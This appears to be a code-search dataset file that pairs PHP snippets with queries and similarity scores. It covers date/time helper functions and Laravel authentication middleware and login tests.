"public function getCurrentTime()\n {\n return new \\DateTime();\n }",
"public function now(): \\DateTimeImmutable;",
"public function now(): \\DateTimeImmutable;",
"public function now(): \\DateTimeImmutable;",
"public function nowMutable(): \\DateTime;",
"public static function now(): self\n {\n return new self(value: new DateTimeImmutable('now', new DateTimeZone('UTC')));\n }",
"public function curDateTime() {\r\n return new DateTime();\r\n }",
"function erp_current_datetime() {\n if ( function_exists( 'current_datetime' ) ) {\n return current_datetime();\n }\n\n return new DateTimeImmutable( 'now', erp_wp_timezone() );\n}",
"public function getCurrentDateTime()\n {\n // Lookup configured timezone\n $timezone = Mage::getStoreConfig('general/locale/timezone');\n // Get current time\n $curDateTime = new DateTime('now');\n\n // Return\n return $curDateTime;\n }",
"function getDateTime()\n {\n return (new DateTime('now'))->format('Y-m-d H:i:s');\n }",
"function now() {\n return new DateTime();\n}",
"public function getCurrentTime()\n {\n // Get current DateTime obj\n $curDateTime = $this->getCurrentDateTime();\n\n // Return current time formatted nicely as string\n return $curDateTime->format('H:i:s');\n }",
"public function getToday(): \\DateTimeImmutable;",
"public static function now(): self\n {\n return new static(new DateTime());\n }",
"public static function getNow(): \\DateTime\n {\n // NOTE that new \\DateTime('@timestamp') does NOT work - @see comment in normalizeDateTimeSingle()\n // So we create a date string with timezone information first, and a \\DateTime in the current server timezone then.\n return new \\DateTime(date('Y-m-d\\TH:i:sP', (int)$GLOBALS['SIM_ACCESS_TIME']), self::getTimeZone());\n }",
"public function GetCurrentTime(){\n\t\treturn date('y-m-d H:i:s', time());\n\t}",
"public static function getCurrentDate()\n\t{\n\t\treturn new \\Bitrix\\Main\\Type\\DateTime();\n\t}",
"public function localDateTime()\n\t{\n\t\treturn new \\DateTime('now', new \\DateTimezone($this->defaultTimezone()));\n\t}",
"public function now()\n {\n return $this->current;\n }",
"public static function getCurrentDate(): DateTime\n\t{\n\t\treturn new DateTime();\n\t}",
"public function serverDateTime()\n\t{\n\t\treturn new \\DateTime('now', new \\DateTimezone(date_default_timezone_get()));\n\t}",
"public static function now(){\n\t\treturn date('Y-m-d H:i:s', time());\n\t}",
"public static function now ()\n\t\t{\n\t\t\treturn date(self::$dtFormat);\n\t\t}",
"function now(){\n\t$date = new DateTime();\n\t$datetime = $date->format('Y-m-d H:i:s');\n\treturn $datetime;\n}",
"public static function getDateTime () {\n if (!self::$dateTime) {\n self::$dateTime = \"now\";\n }\n \n $ts = strtotime(self::$dateTime);\n $format = 'Y-m-d G:i:s';\n $dateTime = date($format, $ts);\n return $dateTime;\n }",
"public static final function now ()\n\t\t{\n\t\t\t\n\t\t\treturn date('Y-m-d H:i:s');\n\t\t\t\n\t\t}",
"protected function _getDateTime()\n {\n return date('Y-m-d', time()) . 'T' . date('H:i:s', time());\n }",
"public static function now()\n {\n return new plugin_datetime(date('Y-m-d H:i:s', time()));\n }",
"public static function now() {\n return new LusiTime( mktime()); }",
"public static function getCurrentTime()\n {\n return time();\n }",
"public function getCurrentDateTimeUsingTimezone()\n {\n // Lookup configured timezone\n $timezone = Mage::getStoreConfig('general/locale/timezone');\n // Get current time\n $curDateTime = new DateTime('now', new DateTimeZone($timezone));\n\n // Return\n return $curDateTime;\n }",
"public function get(): DateTimeImmutable\n {\n $current = $this->realClockService->get();\n if ($this->interval !== null) {\n return $current->add($this->interval);\n }\n return $current;\n }",
"public function currentDate()\n {\n return $this->dateTime->gmtDate();\n }",
"public function get_time() {\n return $this->_time;\n }",
"protected static function now(): Carbon\n {\n return Carbon::now();\n }",
"public function utcDateTime()\n\t{\n\t\treturn new \\DateTime('now', new \\DateTimezone('UTC'));\n\t}",
"private function currentTime()\n\t{\n\t\treturn Carbon::now()->format('Ymdhis');\n\t}",
"function now() {\n\t\t// PHP pre 7.1: get time with milliseconds accuracy\n\t\treturn DateTime::createFromFormat('U.u', number_format(microtime(true), 3, '.', ''));\n\t}",
"public function siteDateTime()\n\t{\n\t\treturn new \\DateTime('now', new \\DateTimezone($this->get('dxoptions')->getSiteTimezone()));\n\t}",
"public static function now() {\n\t\t\treturn date('Y-m-d');\n\t\t}",
"protected function setLogDateTime()\n {\n $date_time = new DateTime('now');\n $date_time->setTimezone($this->timezone);\n\n return $date_time->format('Y-m-d H:i:s');\n }",
"protected function now()\n {\n return Carbon::now();\n }",
"public static function datetime()\n {\n return date('Y-m-d H:i:s');\n }",
"function datetime_now() {\n\treturn date('Y-m-d H:i:s');\n}",
"public function now() {\n\n\t\t$dateTime = new DateTime ( 'NOW' );\n\t\treturn $dateTime->format ( \"Y-m-d H:i:s\" );\n\t\n\t}",
"public static function getCurrentDateAndTimeOnCurrentComputer() {\n\t\treturn date ( 'Y-m-d H:i:s');\n\t}",
"public static function now()\n {\n return date(self::DATETIME_PHP_FORMAT);\n }",
"protected function _getDateTime()\n\t{\n\t\treturn gmdate('ymdHis00', $this->getTime());\n\t}",
"public function utcnow()\n {\n return R::isodatetime(time() - date('Z'));\n }",
"public function recordedAt(): \\DateTimeImmutable;",
"public function getCurrentTimeUsingTimezone()\n {\n // Get current DateTime obj\n $curDateTime = $this->getCurrentDateTimeUsingTimezone();\n\n // Return current time formatted nicely as string\n return $curDateTime->format('H:i:s');\n }",
"public static function getCurrentDateAndTime() {\n\t\tif(qsys::getSiteLocation() == 'online') {\n\t\t\t$currentDateTimeOnServer = qdat::getCurrentDateAndTimeOnCurrentComputer();\n\t\t\t$currentAbsoluteSeconds = qdat::getAbsoluteSeconds($currentDateTimeOnServer);\n\t\t\t$adjustedCurrentAbsoluteSeconds = $currentAbsoluteSeconds + (Config::getServerOffsetInHours() * -1 * 3600);\n\t\t\treturn qdat::convertAbsoluteSecondsToDateTime($adjustedCurrentAbsoluteSeconds);\n\t\t} else {\n\t\t\treturn qdat::getCurrentDateAndTimeOnCurrentComputer();\n\t\t}\n\t}",
"function getCurrentTime()\n\t\t{\n\t\t\t$time = date('h:i:s a');\n\t\t\treturn $time;\n\t\t}",
"public function getTime()\n {\n return $this->get(self::_TIME);\n }",
"public function getTime()\n {\n return $this->get(self::_TIME);\n }",
"public function getTime()\n {\n return $this->get(self::_TIME);\n }",
"public function GetDateTime() {\n return $this->DateTime;\n }",
"function datetime_now() {\n return date(\"Y-m-d H:i:s\");\n}",
"public static function getDateTime()\n {\n date_default_timezone_set(\"Australia/Brisbane\"); \n return date('Y-m-d H:i:s');\n }",
"public static function getCurrentTime(){\n\t $curTime = Zend_Date::now();\n\t $curTime -> setTimezone('Asia/Bangkok'); \n\t return $curTime;\n\t }",
"public function getTime()\n {\n return $this->get(self::TIME);\n }",
"public function getDateTime() {\n date_default_timezone_set('Asia/Kolkata');\n $dateTime = date('Y:m:d-H:i:s');\n return $dateTime;\n }",
"public function getDateTime()\n {\n return $this->dateTime;\n }",
"public function getDateTime()\n {\n return $this->dateTime;\n }",
"function now() {\r\n\t\tdate_default_timezone_set('GMT');\r\n\t\treturn date(\"d/m/Y H:i:s\");\r\n\t}",
"public function getDateTime()\n {\n return $this->dateTime;\n }",
"public function now()\n {\n if (!self::hasMasterDB()) {\n return date('c');\n }\n\n return self::getMasterDB()\n ->Execute(\"SELECT CURRENT_TIMESTAMP as now\")\n ->Fields('now');\n }",
"public function getDateTime() {\n\t\treturn $this->datetime;\n\t}",
"public function now();",
"public function now()\n {\n $this->select('NOW()'); // Returns the current date and time\n\n return $this;\n }",
"public function getTime()\n {\n return $this->time;\n }",
"public function getTime()\n {\n return $this->time;\n }",
"public function getTime()\n {\n return $this->time;\n }",
"public function getTime()\n {\n return $this->time;\n }",
"public function getTime()\n {\n return $this->time;\n }",
"public function getTime()\n {\n return $this->time;\n }",
"public function getTime()\n {\n return $this->time;\n }",
"public function getTime()\n {\n return $this->time;\n }",
"public function getTime()\n {\n return $this->time;\n }",
"public function getTime()\n {\n return $this->time;\n }",
"public function getTime()\n {\n return $this->time;\n }",
"public function getTime()\n {\n return $this->time;\n }",
"public function getExpirationDate(): DateTimeImmutable\n {\n return (new DateTimeImmutable(sprintf('@%s', $this->expirationTime)))\n ->setTimezone(new DateTimeZone(date_default_timezone_get()));\n }",
"public function get_time() {\r\n\t\t\t$date = $this->get_date( 'U' );\r\n\t\t\treturn is_numeric( $date ) ? $date : time(); //time wrong? use now\r\n\t\t}",
"public function toDateTimeImmutable(): DateTimeImmutable\n {\n return $this->value;\n }",
"protected function cloneToMutable() : Time\n {\n return clone $this;\n }",
"public function current(): Date\n {\n return $this->current;\n }",
"public function getTime() {\n return $this->time;\n }",
"public function getDatetime()\n {\n return $this->datetime;\n }",
"public function getDatetime()\n {\n return $this->datetime;\n }",
"public function getDatetime()\n {\n return $this->datetime;\n }",
"public function getDatetime()\r\n {\r\n return $this->m_datetime;\r\n }",
"public function getActualTime()\n {\n return $this->actual_time;\n }",
"public static function currdate()\n {\n $now = Carbon::now() -> toDateTimeString();\n $erase = substr($now, -3);\n $now = str_replace($erase, '', $now);\n $now = str_replace(' ', 'T', $now);\n return $now;\n }",
"public function freshTimestamp()\n {\n return Date::now();\n }",
"public function getTime()\n {\n return time();\n }",
"public function getDatetime()\n {\n return $this->_datetime;\n }",
"public static function curTimestamp()\n {\n return date_timestamp_get(new DateTime());\n }"
]
| [
"0.8091616",
"0.8056899",
"0.802433",
"0.79921734",
"0.79921734",
"0.79921734",
"0.7772909",
"0.76485366",
"0.7608092",
"0.7602827",
"0.75042593",
"0.74300176",
"0.7377323",
"0.73289776",
"0.72905666",
"0.7268543",
"0.72235435",
"0.7200121",
"0.7135008",
"0.7099941",
"0.70921403",
"0.70847136",
"0.7082432",
"0.70589834",
"0.7045822",
"0.7006938",
"0.69812155",
"0.6968489",
"0.6952621",
"0.69476944",
"0.6914202",
"0.6906952",
"0.6904008",
"0.68880427",
"0.68865484",
"0.68732476",
"0.68664473",
"0.68638",
"0.68624234",
"0.68587154",
"0.6831005",
"0.6782001",
"0.6766039",
"0.6725786",
"0.67170596",
"0.670939",
"0.6701197",
"0.66968733",
"0.6687349",
"0.6664542",
"0.66548896",
"0.6653066",
"0.66177756",
"0.6608663",
"0.66060746",
"0.6604728",
"0.6604728",
"0.6604514",
"0.6591022",
"0.6584547",
"0.6561786",
"0.6548662",
"0.65297776",
"0.65294755",
"0.65196496",
"0.65196496",
"0.64963204",
"0.64850485",
"0.64830756",
"0.64488775",
"0.6446589",
"0.6428924",
"0.6427231",
"0.63910323",
"0.63910323",
"0.63910323",
"0.63910323",
"0.63910323",
"0.63910323",
"0.63910323",
"0.63910323",
"0.63910323",
"0.63910323",
"0.63910323",
"0.6385709",
"0.6383093",
"0.6382207",
"0.63758063",
"0.6368058",
"0.63598883",
"0.63256943",
"0.63256943",
"0.63256943",
"0.6325632",
"0.63173217",
"0.63110155",
"0.6303821",
"0.62964976",
"0.6295338",
"0.62919235"
]
| 0.773814 | 7 |
If resource doesn't exists, error returned + app die | public function putResponse($request)
{
$idSearched = $this->searcher->searchResourceIndex(
$request,
$this->db[$request['resource']]
);
if ($idSearched) {
$resource = $this->db[$request['resource']][$idSearched];
$bodyInput = json_decode($this->standardInput, true);
$resource = BodyRequest::canApplyBody($bodyInput);
$resource['id'] = (int)$request['param'];
foreach($resource as $key => $value) {
$this->db[$request['resource']][$idSearched][$key] = $value;
}
file_put_contents(DB_PATH, json_encode($this->db));
}
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"private function resourceNotFound()\n {\n // if the returned instance wasn't found\n return response()->json([\n 'success' => false,\n 'message' => 'Resource could not be found.',\n ], 404);\n }",
"public function uriError()\n {\n header(\"HTTP/1.0 404\");\n exit();\n }",
"public function IsNotFoundDispatched ();",
"public function makeErrorAction()\n {\n // test this\n\n $this->app->abort(404, 'I am a code generated 404 error message');\n\n }",
"public static function missing() {\n\t\t// -- Construct the 404 error template path\n\t\t$file = APP_ROOT . 'errors' . DS . Error::$not_found . EXT_PHP;\n\n\t\t// -- Check if the 404 error template exists. \n\t\t// -- If it does, require it to the screen. \n\t\t// -- Otherwise, display a simple text message.\n\t\tif( file_exists( $file ) ) {\n\t\t\trequire_once $file;\n\t\t} else {\n\t\t\techo Error::$not_found . ' : Internal Error!';\n\t\t}\n\n\t\texit;\n\t}",
"protected function throwExceptionIfFrontendDoesNotExist() {}",
"public function resource()\n {\n return tap($this->resource, function ($resource) {\n abort_if(is_null($resource), 404);\n });\n }",
"public static function sendNotFoundResponse(){\n http_response_code(404);\n die();\n }",
"function object_not_found($message) {\n halt(404, json([\n 'status' => 404,\n 'text' => $message\n ]));\n}",
"abstract protected function getNotFoundMessage();",
"function _404() {\n die();\n }",
"public function resourceExists($resource);",
"public function create()\n {\n abort( 404 );\n }",
"private function notFound() {\n if (file_exists(APP . 'Controller/error.php')) {\n header('Location: ' . BASE_URL . 'error');\n } else {\n die('Sorry, the requested content could not be found');\n }\n }",
"public function create()\n {\n abort('404');\n }",
"private function route_not_found() {\r\n\t\t\t// Also when in debug mode - show comprehensive messages\r\n\t\t\tdie(\"404 Page not found\");\r\n\t\t}",
"public static function throwResourceNotFoundException()\n {\n return Response::json([\n 'message' => \"Your request dosen't contain any resources\"\n ], 404);\n }",
"public static function error_response() {\r\n header(\"HTTP/1.1 404 Recurso no encontrado\");\r\n exit();\r\n }",
"public function create(){\n return App::abort(404);\n }",
"function sysError404(){\n\tsysError( \"Please check the address and try again.\", \"The page you requested was not found.\", \"Page Not Found\" );\t\n\texit();\n}",
"private function spawn404Error()\n {\n Utils_Request::sendHttpStatusCode(Utils_Request::CLIENT_NOT_FOUND);\n try {\n FrontDispatcher::instance()->setConfig($this->_config)->render('404');\n }\n catch (Exception $e) {\n die('Cannot render 404 page!');\n }\n }",
"function mensaje_error_no_existe($id){\n $mensaje=array(\n 'error' => TRUE,//siempre en MAYUSCULAS\n 'domain' =>$_SERVER['HTTP_HOST'],\n 'port' => $_SERVER['SERVER_PORT'],\n 'quantity' => 0,//cantidad\n 'records' => NULL, //registros\n 'reason:' => 'notFound',\n 'message:' => 'The resource: '.$id.' not be found.',\n 'locationType:'=> 'resourceNotFound',);\n return $mensaje;\n}",
"function myNotFound()\n{\n global $app, $globalSettings;\n $app->render('error.html', [\n 'page' => mkPage(getMessageString('not_found1')),\n 'title' => getMessageString('not_found1'),\n 'error' => getMessageString('not_found2')]);\n}",
"public function test_non_existent_route() {\n $client = new Client($this->_app);\n $client->request('GET', '/does_not_exist');\n }",
"public function test_non_existent_route() {\n $client = new Client($this->_app);\n $client->request('GET', '/does_not_exist');\n }",
"public function getNotFoundOk() {}",
"public function testGetNotExistingResource()\n {\n $this->expectException(InvalidArgumentException::class);\n $this->client->nonExistingResource();\n }",
"public function force404();",
"public function force404();",
"public function ooops()\r\n\t{\r\n\t\t$this->template->view('utilities/404.php');\r\n\t}",
"protected function actionNotFound()\n\t{\n\t\tzf::halt(\"You can't call this function \\\"actionNotFound\\\" directly. You must redefine it in your controller.\");\n\t}",
"protected function handleNotFound()\n {\n $exception = new NotFoundException;\n\n if ($this->getStrategy() instanceof RestfulStrategy) {\n return $exception->getJsonResponse();\n }\n\n throw $exception;\n }",
"public function isNotFound();",
"public function create()\n {\n //\n abort(404);\n }",
"public function notFound()\n {\n $this->set('message', 'API endpoint \"' . $this->request->getUri()->getPath() . '\" does not exist.');\n $this->set('_serialize', ['message']);\n $this->_respondWithNotFound();\n }",
"public function create()\n {\n abort(404);\n }",
"public function create()\n {\n abort(404);\n }",
"public function create()\n {\n abort(404);\n }",
"public function create()\n {\n abort(404);\n }",
"public function create()\n {\n abort(404);\n }",
"public function create()\n {\n abort(404);\n }",
"public function actionNotfound()\n {\n $this->actionSlug = 'notfound';\n $this->actionParams = [];\n $this->breadcrumbs=[];\n $this->beforeAction();\n $this->breadcrumbs[] = ['title' => 404];\n header(\"HTTP/1.x 404 Not Found\");\n header(\"Status: 404 Not Found\");\n echo $this->render('404');\n exit;\n }",
"private function subRedditNotFound()\n { \n exit('Subreddit Not Found!');\n }",
"public function is_404();",
"public static function error404()\r\n\t{\r\n\t\theader(\"HTTP/1.1 404 Not Found\");\r\n\t\theader(\"Status: 404 Not Found\");\r\n\t\texit();\r\n\t}",
"protected function notFound()\n {\n $this->response = $this->response->withStatus(404);\n $this->jsonBody($this->payload->getInput());\n }",
"function not_found() {\n\treturn show_template('404');\n}",
"public function routenotfoundAction()\n {\n return $this->createResponse('Route Not Found', 404);\n }",
"public function errorOccured();",
"protected function do_404() {\n header('HTTP/1.1 404 Not Found');\n \n $actionsPath = $this->config->get_key('paths', 'actions');\n $action = $actionsPath.'/page-not-found.php';\n \n if (file_exists($action)) {\n require($action);\n \n if (class_exists('PageNotFound')) {\n PageNotFound::get_instance($this->options);\n }\n \n exit;\n } else {\n throw new HaploActionNotFoundException('No default 404 action found. Add a file named page-not-found.php to '.$actionsPath.' to suppress this message.');\n }\n }",
"public function create() {\n abort(404);\n }",
"function notFound() {\n global $app;\n \n $app->response->setStatusCode(404, \"Not Found\")->sendHeaders();\n echo 'Oops, Not Found!!';\n}",
"function e404(){\n\t\theader('HTTP/1.0 404 Not Found');\n\t\trequire 'secciones/error404.sec.php';\n\t\tdie();\n\t}",
"static function http404()\n {\n header('HTTP/1.1 404 Not Found');\n exit;\n }",
"public function checkRoute()\n\t{\n\t\tif(!self::$load):\n\t\t\thttp_response_code(404);\n\t\t\tdie('No route found');\n\t\tendif;\n\t}",
"public function failed();",
"public function error404(){\n\t\t$this->loadErrorView('Cette page n\\'existe pas', 'Error 404', 404); \n\t}",
"public function RenderNotFound () {\n\t\tif ($this->application->IsNotFoundDispatched()) return;\n\t\tthrow new \\ErrorException(\n\t\t\t\"Page not found: `\" . htmlspecialchars($this->request->GetFullUrl()) . \"`.\", 404\n\t\t);\n\t}",
"public function shouldReturnNotFoundWhenIdDoesNotExist()\n {\n $this->json($this->method, str_replace(':id', 123456789, $this->endpoint), [])\n ->assertNotFound();\n }",
"public function testRetrieveReturnFalseIfNotFound()\n {\n if (! $this->_url) $this->markTestSkipped(\"Test requires a CouchDb server set up - see TestConfiguration.php\");\n $db = $this->_setupDb();\n\n $ret = $db->retrieve('nonexistingdoc');\n $this->assertFalse($ret);\n \n $this->_teardownDb();\n }",
"function show_404() {\n\t\tredirect( 'users', 'location' );\n\t\texit();\n\t}",
"public static function _notFound() {\n self::response(false)\n ->status(404)\n ->write(\n '<h1>404 Not Found</h1>'.\n '<h3>The page you have requested could not be found.</h3>'.\n str_repeat(' ', 512)\n )\n ->send();\n }",
"public function show404();",
"public function testWhenNotFoundWillThrowAnException()\n {\n $name = 'not-found-item';\n $this->willFindItemByName($name, null);\n\n $this->controller->getItem($name);\n }",
"public function error404()\n {\n }",
"public function action_404() {\n $this->template->content = View :: factory('error/404');\n }",
"public function handle_404()\n {\n }",
"protected function redirectNotFound(){\r\n \theader('Location: '.BASE_URI.Routes::getUri('not_found'));\r\n }",
"public function action_404()\n\t{\n\t\treturn Response::forge(Presenter::forge('welcome/404'), 404);\n\t}",
"public function action_404()\r\n\t{\r\n\t\treturn Response::forge(Presenter::forge('welcome/404'), 404);\r\n\t}",
"private function pageNotFound()\n {\n $this->theme->setTitle(\"Sidan saknas\");\n $this->views->add('error/404', [\n 'title' => 'Sidan saknas',\n ], 'main-wide');\n }",
"public function testGetUserNotFound() {\n $handleNameNotFound = getenv('HANDLENAME_NOT_FOUND');\n $response = $this->runApp('GET', '/histogram/'.$handleNameNotFound);\n $this->assertEquals(404, $response->getStatusCode());\n }",
"protected function checkRoute()\n {\n if (Router::current() === null) {\n return $this->error(404);\n }\n }",
"abstract protected function checkExistingResponse();",
"public function is_404()\n {\n }",
"public function resourceNotFound($message = \"We could not find what you were looking for\")\n {\n $this->response = $this->laravelResponse->setContent(json_encode(['message' => $message]))->setStatusCode(404);\n return $this->respond();\n }",
"public function create()\n {\n return abort(404);\n }",
"public function create()\n {\n return abort(404);\n }",
"public function action_404()\r\n {\r\n return Response::forge(Presenter::forge('welcome/404'), 404);\r\n }",
"public function error404()\n\t{\n\t\t//envoie une entête 404 (pour notifier les clients que ça a foiré)\n\t\theader(\"HTTP/1.0 404 Not Found\");\n\t\tView::show(\"errors/404.php\", \"Oups ! Perdu ?\");\n\t}",
"function error_404() {\n\t\theader($_SERVER[\"SERVER_PROTOCOL\"] . \" 404 Not Found\");\n\t\texit();\n\t}",
"public function error_404()\n\t{\n\t\theader(\"HTTP/1.0 404 Not Found\");\n\t\tmeta::set_title('This Page will be Forever Missed');\n\t\t$this->template\n\t\t\t->set('title', 'Missing Page')\n\t\t\t->set('content', View::factory('errors/404'));\n\t}",
"public function notFound() :string {\n\t\theader('HTTP/1.0 404 Not Found');\n\t\tdie('404 not found');\n\t}",
"function cera_grimlock_404() {\n\t\tdo_action( 'grimlock_404' );\n\t}",
"abstract protected function notFoundError($message = null);",
"public function error404() {\n\t\t$this->render('error400');\n\t}",
"public function checkresourceAction()\n {\n // disable layout for Ajax requests\n $this->_helper->layout()->disableLayout();\n // disable rendering\n $this->_helper->viewRenderer->setNoRender();\n\n // get GET/POST paramter\n $resourceUri = $this->getParam('r', '');\n\n // setup the standard result array\n $result = array(\n 'isLinkedData' => false,\n 'isLocalResource' => false,\n 'hasError' => false,\n 'errorMessage' => ''\n );\n\n // check if resource uri is empty\n if (\"\" != $resourceUri) {\n // check if local namespace is include in resource uri\n if (false === strpos($resourceUri, $this->_owApp->getUrlBase())) {\n // if resource is not local\n\n //get the resource instance\n $resource = new Erfurt_Rdf_Resource($resourceUri);\n // get the LinkedDataWrapper\n $wrapper = new Erfurt_Wrapper_LinkeddataWrapper();\n\n try {\n // check for LinkedData\n $result['isLinkedData'] = $wrapper->isAvailable($resource, '');\n }\n // if resource uri is not reachable\n catch (Exception $e){\n $result['hasError'] = true;\n $result['errorMessage'] = $e->getMessage();\n $this->_response->setHttpResponseCode(404);\n }\n\n // if resource is local\n } else {\n $result['isLocalResource'] = true;\n }\n }\n\n // response result array in json format\n $this->_response->appendBody(json_encode($result));\n }",
"protected function errorAction() {}",
"function not_found($msg=NULL, $level=\"Warning\", $code=\"NOT_FOUND\"){\n\t $out = \"\";\n\t if(is_null($msg)) $msg = \"The specified input data or some required internal data was not found.\";\n\t $output = array(\"Code\" => $code, \"Error\" => $out.$msg, \"Level\" => $level);\n\t \n\t $app = Slim::getInstance();\n\t if(isset($_SESSION['wrap_output']) && $_SESSION['wrap_output'] == TRUE){\n\t\t$out = array(\"data\" => $output, \"status\" => $code);\t\n\t\techo json_encode($out);\n\t }else {\n \t$app->response()->status( 404 );\n\t \t$app->halt(404, json_encode($output));\n\t } \n\t $app->stop();\n\t \n}",
"public function prevent_showing_a_nonexistent_service()\n {\n // get a random user\n $user = $this->getRandomUser('super-admin');\n\n // act as the user we got and request the create_new_article route\n $response = $this->actingAs($user)->get(route('service.show', ['id' => 100]));\n\n $response->assertSessionHas('flash_error_message', 'Unable to find Services to display.');\n }",
"public function show404() {\n header(\"HTTP/1.0 404 Not Found\");\n throw new Exception('404 Not Found');\n }",
"public function pageNotFound() {\n\n $this->page->getPage('page_not_found.tpl');\n }",
"public static function fileDoesNotExist()\n {\n return self::logicalNot(self::fileExists());\n }",
"public function testFetchDoesntExist() {\n\t\tself::$sag->get(\"foo\");\n\n\t}",
"function notFound() {\n header('HTTP/1.0 404 Not Found');\n }",
"function getExit()\n{\n\theader(\"HTTP/1.0 404 Not Found\");\n\texit;\n}",
"protected function _ifExists($object){\n if (is_null($object)) {\n return redirect()->route('404')->send();\n }\n }",
"function notfound() {\n\t\t$this->fw->render('404');\n\t}",
"function error_not_found()\n{\n\n}",
"private function notExist() : void\n {\n if(!$this->user)\n {\n (new Session())->set('user','error','Désolé une erreur est survenue');\n header('Location:' . self::REDIRECT_HOME);\n die();\n }\n }",
"public function testCreateInvalidFile()\n {\n new MaterializedResource(new GenericResource('file_not_found.txt'), '/probably/not/a/directory');\n }"
]
| [
"0.66123784",
"0.61904144",
"0.6138577",
"0.6074281",
"0.6062405",
"0.6053104",
"0.6012348",
"0.6007266",
"0.5996875",
"0.5953779",
"0.5945706",
"0.5934242",
"0.5932439",
"0.5911363",
"0.590725",
"0.58988696",
"0.5881582",
"0.5870447",
"0.58492637",
"0.58307457",
"0.5821279",
"0.58129966",
"0.5804925",
"0.5790621",
"0.5790621",
"0.5788566",
"0.5784614",
"0.5771328",
"0.5771328",
"0.57482463",
"0.5723786",
"0.57233065",
"0.5709988",
"0.570056",
"0.56960964",
"0.5695284",
"0.5695284",
"0.5695284",
"0.5695284",
"0.5695284",
"0.5695284",
"0.56730455",
"0.56550497",
"0.5654913",
"0.5654198",
"0.5651662",
"0.56376123",
"0.5628985",
"0.5623151",
"0.5618021",
"0.55912817",
"0.5583253",
"0.55826586",
"0.5581963",
"0.5578302",
"0.5575616",
"0.5562331",
"0.5548122",
"0.5538449",
"0.55367273",
"0.5533621",
"0.5521508",
"0.55198926",
"0.5519372",
"0.5517569",
"0.55018246",
"0.5499102",
"0.54956186",
"0.54948217",
"0.5494392",
"0.54882514",
"0.548153",
"0.5480662",
"0.54769593",
"0.5466954",
"0.546429",
"0.5463539",
"0.5463539",
"0.545886",
"0.54542214",
"0.5453225",
"0.54476583",
"0.5445855",
"0.54437613",
"0.54385287",
"0.54368013",
"0.54357976",
"0.5429491",
"0.5428059",
"0.54233366",
"0.54215866",
"0.54197943",
"0.5418844",
"0.541681",
"0.5414021",
"0.54137325",
"0.5413726",
"0.54136443",
"0.54021955",
"0.5400556",
"0.5400035"
]
| 0.0 | -1 |
Just for testing the user should be logged in. In a real app, please use standard authentication practices | public function __construct()
{
//This will ensure that all routes handled by this controller are first authenticated
$this->middleware('auth');
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function test_if_user_can_sign_in()\n {\n $this->createFakerUser($this->credentials);\n\n $this->postJson('/api/v1/auth/login', $this->credentials)->assertOk();\n }",
"public function test_user_can_be_logged_in()\n {\n $user = factory(User::class)->create();\n\n $response = $this->actingAs($user)->get(route('login'));\n\n $response->assertRedirect('/home');\n }",
"public function testClientsPageAsLoggedInUser() {\n\n // Generate user\n $user = factory(App\\User::class)->create();\n\n $this->actingAs($user)\n ->visit('/clients')\n ->see($user->email);\n\n }",
"protected function isUserLoggedIn() {}",
"protected function isUserLoggedIn() {}",
"public function testFakeLogin()\n {\n Auth::attempt(['email'=>'[email protected]','password'=>'fake123']);\n $this->assertNotTrue(Auth::check());\n }",
"protected function isUserAllowedToLogin() {}",
"public function testLoggedIn()\n {\n $this->session($this->sessionInfo);\n\n $response = $this->call('GET', '/api/user');\n\n $this->assertEquals(200, $response->getStatusCode());\n\n $decoded = json_decode($response->getContent());\n\n $this->assertEquals('success', $decoded->status);\n\n $this->assertEquals(true, $decoded->data->logged_in);\n }",
"public function test_user_can_login_with_true_credentials()\n {\n $user=User::factory()->create();\n $response = $this->postJson(route('auth.login') , [\n 'email'=>$user->email,\n 'password'=>'password',\n ]);\n\n $response->assertStatus(Response::HTTP_OK);\n }",
"public function testApplicationLogin()\n {\n $this->visit('/login')\n ->type($this->user->email, 'email')\n ->type('password', 'password')\n ->press('submit')\n ->seeIsAuthenticatedAs($this->user)\n ->seePageIs('/admin/post');\n }",
"public function testStartViewLoggedIn()\n {\n auth()->attempt(['name' => 'admin', 'password' => 'admin']);\n\n $response = $this->get('/');\n\n $response->assertSee('Hello');\n }",
"public function testLoginActionWithExistingUser()\n {\n $data = [\n '_username' => 'user1',\n '_password' => 'user1',\n ];\n $client = static::createClient();\n\n $crawler = $client->request('GET', '/login');\n $form = $crawler->filter('form[action$=\"login_check\"].form-horizontal button[type=\"submit\"]')->form();\n $crawler = $client->submit($form, $data);\n // Authentified\n $security = $client->getContainer()->get('security.context');\n $this->assertTrue($security->isGranted('ROLE_USER'));\n }",
"public function test_if_user_isnt_authorized_to_sign_in_if_doesnt_exists()\n {\n $this->postJson('/api/v1/auth/login', $this->credentials)->assertUnauthorized();\n }",
"protected function loginIfRequested() {}",
"function user_loggedin(){\n\t$app = \\Jolt\\Jolt::getInstance();\n\tif( !$app->store('user') ){\n\t\treturn false;\n\t}\n\treturn true;\n//\t$app->redirect( $app->getBaseUri().'/login',!$app->store('user') );\n}",
"private function _checkAuth()\n {\n // check login or not\n if (!$this->getUser()->isAuthenticated()) {\n $this->redirect('login');\n }\n }",
"public function testValidLogin()\n {\n Admin::create([\n 'first_name' => 'First',\n 'last_name' => 'Last',\n 'email' => '[email protected]',\n 'password' => 'pass',\n ]);\n\n // Confirm not initially logged in\n $this->assertFalse(Auth::check());\n\n // Log in the user\n $response = $this->post('admin', [\n 'email' => '[email protected]',\n 'password' => 'pass',\n ]);\n\n // The response redirects back to the login page. A middleware will\n // then redirect to the first page of the admin\n $response->assertRedirect('admin');\n\n // Check that we're logged in now\n $this->assertTrue(Auth::check());\n $this->assertEquals('[email protected]', Auth::user()->email);\n }",
"public function test_valid_user_login()\n {\n Session::start();\n $response = $this->call('POST', '/login', [\n 'email' => '[email protected]',\n 'password' => 'password',\n '_token' => csrf_token()\n ]);\n $response->assertStatus(302);\n $response->assertRedirect('/home');\n }",
"public function testLogin()\n {\n Auth::attempt(['email'=>'[email protected]','password'=>'1234']);\n $this->assertTrue(Auth::check());\n }",
